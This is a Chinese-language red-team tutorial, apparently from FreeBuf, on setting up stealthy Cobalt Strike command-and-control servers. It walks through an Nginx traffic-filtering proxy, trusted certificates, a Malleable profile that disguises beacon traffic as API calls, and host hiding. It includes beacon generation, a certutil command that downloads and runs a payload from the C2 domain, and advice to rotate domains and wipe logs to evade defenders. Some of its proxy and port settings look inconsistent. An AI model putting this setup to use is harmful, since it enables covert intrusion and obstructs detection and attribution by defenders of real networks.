红队实战:从0到1搭建高隐蔽性C2基础设施
基于Cobalt Strike 4.7框架优化C2服务器搭建与配置流程,涵盖基础环境部署、服务端深度定制(如自定义证书与Malleable Profile)、流量伪装策略(Nginx反向代理与可信SSL证书)、系统加固措施及实战验证方法,旨在提升红队行动中C2服务器的隐蔽性与稳定性。 2025-9-24 06:2:30 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

前言

在红蓝对抗中,C2(Command & Control)服务器是红队的 “神经中枢”—— 其稳定性决定行动能否持续,隐蔽性决定能否避开蓝队溯源。多数红队行动暴露,根源在于 C2 存在明显指纹(如默认 50050 端口、CS 特征证书、异常 UA 流量)。
本文基于 Cobalt Strike 4.7框架,从 “基础环境搭建→服务端深度配置→流量伪装→实战验证” 全流程拆解,每个步骤附 命令行 + 原理说明 + 排错方案,新手可按步骤落地,老手可参考隐蔽性优化思路。

一、C2 服务器基础环境搭建(Ubuntu 20.04 LTS)

1. 前置准备:硬件与工具清单

类别要求与说明
VPS 服务器优先选择海外节点(如 Vultr/Contabo),避免国内备案;配置 2 核 4G 起(支撑 100+Beacon 并发)
域名非备案域名(推荐 Godaddy/Namecheap 注册,开启 Whois 隐私保护,避免个人信息泄露)
必备工具Java 11(CS 依赖,高版本兼容问题多)、Nginx(反向代理)、Certbot(SSL 证书)、Keytool(Java 证书管理)、OpenSSL(证书格式转换)
辅助工具ProcessHacker(Windows 进程监控)、Wireshark(流量抓包)、c2lint(CS Profile 语法检查)、微步在线(域名 / IP 信誉查询)

2. 配置 Java 环境(CS 运行核心依赖)

CS 基于 Java 开发,必须使用 AdoptOpenJDK 11(经实战验证最稳定),Java 8/17 易出现证书加载失败、内存溢出问题。

步骤 1:卸载系统默认 OpenJDK

系统自带的 OpenJDK 缺少部分依赖,需先清理:

# 卸载所有OpenJDK相关包
sudo apt remove openjdk-* -y
# 清理残留依赖
sudo apt autoremove -y

步骤 2:下载并解压 AdoptOpenJDK 11

从官方源下载,避免第三方镜像篡改风险:

# 进入/usr/local(Linux标准第三方软件目录)
cd /usr/local
# 下载x64架构压缩包(适配绝大多数VPS)
wget https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.21%2B9/OpenJDK11U-jdk_x64_linux_hotspot_11.0.21_9.tar.gz
# 解压并简化目录名(便于后续配置)
tar -zxvf OpenJDK11U-jdk_x64_linux_hotspot_11.0.21_9.tar.gz
mv OpenJDK11U-jdk_x64_linux_hotspot_11.0.21_9 java11

步骤 3:配置全局环境变量

编辑/etc/profile确保所有用户可调用 Java:

sudo vim /etc/profile
# 在文件末尾添加以下内容
export JAVA_HOME=/usr/local/java11
export JRE_HOME=$JAVA_HOME/jre
export PATH=$JAVA_HOME/bin:$JRE_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib:$JRE_HOME/lib

保存退出后,使配置立即生效:

source /etc/profile

步骤 4:验证 Java 安装

执行以下命令,若输出版本信息则成功:

# 验证Java运行环境
java -version
# 验证Java编译环境(CS无需编译,但需确保完整)
javac -version

预期输出

openjdk version "11.0.21" 2023-10-17
OpenJDK Runtime Environment Temurin-11.0.21+9 (build 11.0.21+9)
OpenJDK 64-Bit Server VM Temurin-11.0.21+9 (build 11.0.21+9, mixed mode)

3. 上传并配置 Cobalt Strike 服务端

CS 服务端核心文件包括teamserver(启动脚本)、cobaltstrike.jar(核心程序),需按 “目录创建→文件上传→证书初始化→端口修改” 流程操作。

步骤 1:创建 CS 专用目录并上传文件

建议将 CS 放在/opt/cs(Linux 推荐的第三方工具目录),避免与系统文件混淆:

# 创建目录并赋予当前用户权限(避免权限报错)
sudo mkdir -p /opt/cs
sudo chown $USER:$USER /opt/cs
# 本地通过scp上传CS压缩包(替换本地路径和VPS IP)
# 本地终端执行:
scp C:\Local\Path\cobaltstrike4.7.zip root@VPS_IP:/opt/cs/
# VPS端解压压缩包
cd /opt/cs
unzip cobaltstrike4.7.zip

步骤 2:生成自定义证书(替换 CS 默认特征证书)

CS 默认证书包含 “Cobalt Strike” 关键字,易被蓝队特征检测识别,需生成仿 “企业域名” 的证书:

# 生成Java密钥库(.store格式,CS专用)
keytool -genkey -alias cs-cert -keyalg RSA -validity 3650 \
-keystore /opt/cs/cobaltstrike.store \
-storepass RedTeam@2024 \  # 密钥库密码(后续需频繁使用,记牢)
-keypass RedTeam@2024 \    # 证书密码(与密钥库密码一致,避免混淆)
-dname "CN=your.domain, OU=IT Dept, O=Enterprise, L=Beijing, ST=Beijing, C=CN"
# 参数说明:
# -validity 3650:证书有效期10年,减少续签频率
# -dname:证书主题,CN必须与你的域名一致,O/L/ST/C仿企业信息填写

验证证书:执行以下命令查看证书详情,确保有效期和主题正确:

keytool -list -v -keystore /opt/cs/cobaltstrike.store -storepass RedTeam@2024

步骤 3:修改 teamserver 脚本(隐藏默认端口 + 绑定 IP)

CS 默认监听 50050 端口(蓝队重点监控),需改为非标准端口(如 65000,避免 1024 以下特权端口冲突):

# 编辑teamserver启动脚本
vim /opt/cs/teamserver
# 找到末尾启动命令,原内容如下:
# java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 \
# -Dcobaltstrike.server_bindto=127.0.0.1 \
# -Djavax.net.ssl.keyStore=./cobaltstrike.store \
# -Djavax.net.ssl.keyStorePassword=123456 \
# -server -XX:+AggressiveHeap -XX:+UseParallelGC \
# -classpath ./cobaltstrike.jar server.TeamServer $*

# 修改为以下内容(重点改端口、绑定IP、密码):
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=65000 \
-Dcobaltstrike.server_bindto=0.0.0.0 \  # 允许所有IP访问(客户端需连接)
-Djavax.net.ssl.keyStore=./cobaltstrike.store \
-Djavax.net.ssl.keyStorePassword=RedTeam@2024 \
-server -XX:+AggressiveHeap -XX:+UseParallelGC \
-classpath ./cobaltstrike.jar server.TeamServer $*

保存后赋予脚本执行权限:

chmod +x /opt/cs/teamserver

步骤 4:启动 CS 服务端并验证状态

启动时需指定 VPS 公网 IP 和客户端连接密码,后台运行避免终端关闭后进程终止:

# 启动CS(第一个参数:VPS公网IP;第二个参数:客户端连接密码)
cd /opt/cs
./teamserver VPS_IP RedTeam@2024 &

# 验证端口监听(65000处于LISTEN状态即成功)
netstat -tulnp | grep 65000
# 预期输出:
# tcp        0      0 0.0.0.0:65000           0.0.0.0:*               LISTEN      1234/java

# 查看CS日志(无报错即正常,报错需检查Java版本或证书路径)
tail -f /opt/cs/logs/teamserver.log

4. 配置 Nginx 反向代理(第一层隐蔽 + 流量过滤)

Nginx 是 C2 隐蔽的 “第一道防线”,核心作用:① 对外暴露 443/80(标准 HTTP/HTTPS 端口,伪装正常网站);② 过滤非指定 UA / 非法路径;③ 集中管理 SSL 证书,避免 CS 直接暴露证书指纹。

步骤 1:安装 Nginx 并清理默认配置

Ubuntu 默认源的 Nginx 版本稳定,直接安装后备份默认配置(避免端口冲突):

# 安装Nginx
sudo apt update && sudo apt install nginx -y

# 备份默认配置(默认配置占用80端口,与C2需求冲突)
sudo mv /etc/nginx/sites-available/default /etc/nginx/sites-available/default.bak
sudo rm /etc/nginx/sites-enabled/default  # 删除默认启用的软链接

步骤 2:创建 C2 专用 Nginx 配置文件

新建/etc/nginx/sites-available/c2.conf,配置 SSL、UA 过滤、路径转发(替换your.domain为你的域名):

# 定义上游CS服务端(CS真实地址和端口,与teamserver配置一致)
upstream cs_server {
    server 127.0.0.1:65000;
    keepalive 10;  # 保持10个长连接,减少TCP握手开销
}

# HTTPS服务配置(对外暴露443端口,伪装正常网站)
server {
    listen 443 ssl;
    listen [::]:443 ssl;
    server_name your.domain;  # 你的域名

    # SSL证书路径(后续用Certbot生成Let's Encrypt证书,先占位)
    ssl_certificate /etc/letsencrypt/live/your.domain/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/your.domain/privkey.pem;

    # SSL安全优化(禁用弱加密算法,符合浏览器安全标准)
    ssl_protocols TLSv1.2 TLSv1.3;  # 禁用TLSv1.0/1.1(已被列为不安全)
    ssl_ciphers ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512:ECDHE-RSA-AES256-GCM-SHA384;
    ssl_prefer_server_ciphers on;  # 优先使用服务端加密套件
    ssl_session_cache shared:SSL:10m;  # 会话缓存,减少重复握手
    ssl_session_timeout 10m;  # 会话超时时间

    # 日志配置(记录访问日志,便于排错)
    access_log /var/log/nginx/c2_access.log;
    error_log /var/log/nginx/c2_error.log;

    # 核心:流量过滤规则(仅允许指定UA和路径访问)
    location ~ ^(/jquery-3.6.0.min.js|/api/v1/data)$ {  # 伪装成JS和API路径
        # 1. 过滤非指定UA(仅允许仿Chrome的UA,其他返回403)
        if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36") {
            return 403;  # 非指定UA返回403,伪装权限不足
        }
        # 2. 转发到CS服务端
        proxy_pass https://cs_server;
        # 3. 传递真实IP和Host头(避免CS获取Nginx内网IP)
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Real-IP $remote_addr;
        # 4. 禁用缓存(避免CDN/浏览器缓存C2流量)
        expires off;
        proxy_redirect off;
    }

    # 非指定路径请求,重定向到百度(伪装正常网站跳转)
    location / {
        return 302 https://www.baidu.com;
    }
}

# HTTP服务配置(80端口重定向到HTTPS,符合正常网站行为)
server {
    listen 80;
    listen [::]:80;
    server_name your.domain;
    return 301 https://$host$request_uri;  # 强制HTTPS
}

步骤 3:启用配置并验证 Nginx 状态

配置完成后需启用并重启 Nginx,确保无语法错误:

# 启用C2配置(创建软链接到sites-enabled目录)
sudo ln -s /etc/nginx/sites-available/c2.conf /etc/nginx/sites-enabled/

# 检查配置语法(输出“test is successful”则无错误)
sudo nginx -t

# 重启Nginx并设置开机自启
sudo systemctl restart nginx
sudo systemctl enable nginx  # 避免VPS重启后Nginx失效

步骤 4:测试 Nginx 转发效果

通过curl命令验证 UA 过滤和路径转发是否生效:

# 1. 用指定UA访问允许路径(应返回200或CS响应)
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" https://your.domain/jquery-3.6.0.min.js

# 2. 用非指定UA访问(应返回403)
curl -k -A "TestUA" https://your.domain/jquery-3.6.0.min.js

# 3. 访问非指定路径(应重定向到百度)
curl -k -L https://your.domain/test  # -L跟随重定向

5. 申请 Let's Encrypt 可信证书(规避浏览器风险提示)

CS 默认自签名证书会被浏览器标记 “不安全”,易被蓝队察觉,需申请 Let's Encrypt 免费可信证书(90 天有效期,支持自动续签)。

步骤 1:安装 Certbot 并申请证书

使用snap安装 Certbot(官方推荐方式,避免依赖冲突),自动配置 Nginx:

# 安装snap(Ubuntu默认已安装,未安装则执行)
sudo apt install snapd -y
sudo snap install core && sudo snap refresh core

# 安装Certbot
sudo snap install --classic certbot
sudo ln -s /snap/bin/certbot /usr/bin/certbot

# 申请证书(自动修改Nginx配置,无需手动替换路径)
sudo certbot --nginx -d your.domain --register-unsafely-without-email --agree-tos
# 参数说明:
# --nginx:自动适配Nginx配置
# --register-unsafely-without-email:无需邮箱注册(避免信息泄露)
# --agree-tos:自动同意条款

步骤 2:配置证书自动续签

Let's Encrypt 证书有效期仅 90 天,需配置定时任务自动续签:

# 测试续签(--dry-run模拟,无报错则正常)
sudo certbot renew --dry-run

# 添加定时任务(每月1号0点执行续签)
sudo crontab -e
# 在文件末尾添加:
0 0 1 * * certbot renew --quiet --post-hook "systemctl reload nginx"
# --quiet:静默执行;--post-hook:续签后重载Nginx使证书生效

步骤 3:验证证书生效

通过浏览器访问https://your.domain,地址栏显示 “小绿锁” 即生效;也可通过命令验证:

# 查看证书 issuer(包含“Let's Encrypt”即可信)
openssl s_client -connect your.domain:443 -servername your.domain 2>/dev/null | openssl x509 -noout -issuer

二、C2 服务端深度配置(消除指纹 + 提升隐蔽性)

1. 自定义 Malleable C2 Profile(消除 CS 默认特征)

CS 默认流量存在固定指纹(如/css/style.css路径、随机 IE UA),需通过 Malleable C2 Profile 修改流量特征,伪装成正常网站通信。

步骤 1:创建自定义 Profile 文件

/opt/cs/C2Profiles目录新建custom.profile,核心配置如下:

# 全局配置
set sample_name "Enterprise C2 Profile";  # Profile名称(便于识别)
set sleeptime "30000";  # Beacon默认休眠30秒(减少流量频率)
set jitter "20";  # 休眠波动20%,避免固定时间回连(防流量时序检测)
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36";  # 仿Chrome UA

# 关闭Stager托管(关键!防止攻击者下载Stage载荷分析)
http-stager {
    set host_stage "false";  # 禁止CS托管Stage文件
    set uri_x86 "/api/v1/stage/x86";  # 伪装x86 Stage路径(仿API接口)
    set uri_x64 "/api/v1/stage/x64";  # 伪装x64 Stage路径
    client {
        header "Host" "your.domain";
        header "Accept-Encoding" "gzip, br";  # 仿正常浏览器请求头
        header "Referer" "https://your.domain/index.html";  # 伪造Referer(增强真实性)
    }
    server {
        header "Server" "nginx/1.18.0 (Ubuntu)";  # 伪装Nginx响应头
        header "Content-Type" "application/javascript";  # 伪装JS文件类型
        output {
            base64;  # 对Stage载荷Base64编码(混淆内容)
            prepend "// Enterprise API Script";  #  prepend注释(伪装JS注释)
            print;
        }
    }
}

# HTTPS证书配置(关联之前生成的.store文件)
https-certificate {
    set keystore "/opt/cs/cobaltstrike.store";
    set password "RedTeam@2024";
}

# HTTP-GET配置(Beacon获取命令)
http-get {
    set uri "/api/v1/data?type=status";  # 伪装API查询路径
    client {
        header "Host" "your.domain";
        header "Accept" "application/json";  # 仿API请求格式
        # Metadata(Beacon元数据)编码后放在Cookie头
        metadata {
            base64url;  # URL安全Base64编码
            prepend "sessionId=";
            header "Cookie";
        }
    }
    server {
        header "Server" "nginx/1.18.0 (Ubuntu)";
        header "Content-Type" "application/json";
        output {
            base64url;
            prepend "{\"data\":\"";  # 伪装JSON格式
            append "\"}";
            print;
        }
    }
}

# HTTP-POST配置(Beacon上传结果)
http-post {
    set uri "/api/v1/data/submit";
    client {
        header "Host" "your.domain";
        header "Content-Type" "application/json";
        # Beacon ID编码后放在URL参数
        id {
            base64url;
            parameter "deviceId";
        }
        output {
            base64url;
            prepend "{\"result\":\"";
            append "\"}";
            print;
        }
    }
    server {
        header "Server" "nginx/1.18.0 (Ubuntu)";
        header "Content-Type" "application/json";
        output {
            print "{\"status\":\"success\"}";  # 伪装正常API响应
        }
    }
}

步骤 2:用 c2lint 检查 Profile 语法

CS 自带的c2lint工具可检测语法错误,避免启动时报错:

cd /opt/cs
./c2lint ./C2Profiles/custom.profile
# 若输出“[+] Profile compiled OK”则无错误;若有警告(如UA过长),需按提示修改

步骤 3:加载 Profile 启动 CS

修改teamserver脚本,默认加载自定义 Profile,避免每次启动手动指定:

vim /opt/cs/teamserver
# 在启动命令末尾添加Profile路径,修改后如下:
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=65000 \
-Dcobaltstrike.server_bindto=0.0.0.0 \
-Djavax.net.ssl.keyStore=./cobaltstrike.store \
-Djavax.net.ssl.keyStorePassword=RedTeam@2024 \
-server -XX:+AggressiveHeap -XX:+UseParallelGC \
-classpath ./cobaltstrike.jar server.TeamServer $* ./C2Profiles/custom.profile

重启 CS 使 Profile 生效:

# 先杀死原有CS进程
ps aux | grep java | grep cobaltstrike | awk '{print $2}' | xargs kill -9
# 重新启动CS
./teamserver VPS_IP RedTeam@2024 &

2. 服务器系统加固(减少暴露面)

除 C2 本身配置外,VPS 系统层面需加固,避免被蓝队通过端口扫描、Ping 探测发现。

步骤 1:禁用 Ping(伪装 “主机不存活”)

通过内核参数禁用 ICMP Ping 请求,蓝队 Ping VPS 时显示 “请求超时”:

# 临时禁用(重启后失效)
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

# 永久禁用(修改sysctl.conf)
sudo vim /etc/sysctl.conf
# 添加以下内容
net.ipv4.icmp_echo_ignore_all = 1
# 使配置生效
sudo sysctl -p

步骤 2:配置 UFW 防火墙(仅开放必要端口)

仅开放 443(HTTPS)、22(SSH 管理)端口,关闭其他所有端口:

# 启用UFW防火墙
sudo ufw enable

# 允许SSH(22端口)和HTTPS(443端口)
sudo ufw allow 22/tcp
sudo ufw allow 443/tcp

# 默认拒绝所有入站请求,允许所有出站请求
sudo ufw default deny incoming
sudo ufw default allow outgoing

# 查看防火墙状态(确认22和443已允许)
sudo ufw status

步骤 3:隐藏 SSH 版本(避免指纹泄露)

SSH 默认暴露版本信息(如OpenSSH_8.2p1),需修改配置隐藏:

sudo vim /etc/ssh/sshd_config
# 添加以下内容
Banner none
VersionAddendum none

# 重启SSH服务
sudo systemctl restart sshd

# 验证(本地执行,无版本信息即成功)
ssh -v root@VPS_IP 2>&1 | grep "Remote protocol version"

三、实战验证与排错(确保 C2 可正常使用)

1. Beacon 上线测试(Windows+Linux 双平台)

(1)Windows 平台测试

通过 CS 客户端生成 Stageless 可执行程序(避免 Stage 载荷被拦截):

  • 连接 CS 客户端:打开 CS,输入 VPS IP(1.2.3.4)、端口(65000)、密码(RedTeam@2024),点击 “Connect”。

  • 新建监听器

    • 点击 “Cobalt Strike→Listeners→Add”;

    • Name:自定义(如win-https);

    • Payload:选择 “Beacon HTTPS”;

    • HTTPS Hosts:填写your.domain

    • HTTPS Port:443;

    • Profile:选择custom.profile

    • 点击 “Save”。

  • 生成 Payload

    • 点击 “Attacks→Packages→Windows Executable (Stageless)”;

    • Listener:选择新建的win-https

    • 保存为beacon.exe

  • 测试机执行

# Windows命令行执行(避免双击报毒)
certutil -urlcache -split -f "https://your.domain/beacon.exe" beacon.exe && beacon.exe
  1. 验证:CS 客户端 “Beacon” 面板出现测试机信息,执行shell whoami返回用户名即成功。

(2)Linux 平台测试(基于 CrossC2)

针对 Linux 目标,需使用 CrossC2 生成适配的 Beacon:

# 1. 下载CrossC2工具(VPS端执行)
cd /opt/cs
git clone https://github.com/gloxec/CrossC2.git

# 2. 生成Linux Beacon(替换参数为实际信息)
./CrossC2/genCrossC2.Linux your.domain 443 \
/opt/cs/.cobaltstrike.beacon_keys \
/opt/cs/C2Profiles/custom.profile \
Linux x64 linux_beacon

# 3. 上传到Linux测试机并执行
scp linux_beacon root@Linux_IP:/tmp/
ssh root@Linux_IP "chmod +x /tmp/linux_beacon && /tmp/linux_beacon"

验证:CS 客户端出现 Linux 主机 Beacon,执行shell ifconfig返回网络信息即成功。

2. 常见问题排错指南

问题现象可能原因解决方案
Beacon 不上线Nginx UA 过滤规则不匹配 / Profile 路径错误查看/var/log/nginx/c2_access.log,确认请求 UA 和路径是否与配置一致;用c2lint重新检查 Profile
CS 启动报 “证书加载失败”Java 版本错误 / 证书密码错误确认 Java 为 11 版本;执行keytool -list验证证书密码,重新生成证书(若密码错误)
Nginx 重启报 “语法错误”配置文件括号不匹配 / 路径错误执行nginx -t查看具体错误行(如 “missing}”),修正后重试
防火墙开启后 SSH 连不上UFW 未允许 22 端口 / 端口被误封通过 VPS 控制台登录,执行sudo ufw allow 22/tcp;查看/var/log/ufw.log确认是否被拦截
证书续签失败Nginx 配置路径错误 / Certbot 权限不足执行certbot renew --dry-run查看错误日志;确保/etc/letsencrypt目录权限为 755

四、总结:C2 隐蔽性核心原则

  1. 分层防御:Nginx(流量过滤)→ 可信证书(规避风险提示)→ 自定义 Profile(消除 CS 指纹)→ 防火墙(端口收敛),层层隐藏特征。

  2. 场景化伪装:流量路径(如/api/v1/data)、UA(仿 Chrome)、响应格式(JSON/JS)均模仿目标环境正常服务,避免 “异常流量” 标签。

  3. 动态化运营:每 1-2 周更换域名(避免被威胁情报标记)、自动续签证书、调整 Beacon 休眠时间(根据目标网络繁忙程度)。

  4. 最小化暴露:禁用 Stager 托管、关闭不必要端口、隐藏 SSH 版本,减少攻击面;行动后及时清理 VPS 日志(/var/log/nginx//opt/cs/logs/)。


文章来源: https://www.freebuf.com/articles/sectool/450110.html
如有侵权请联系:admin#unsafe.sh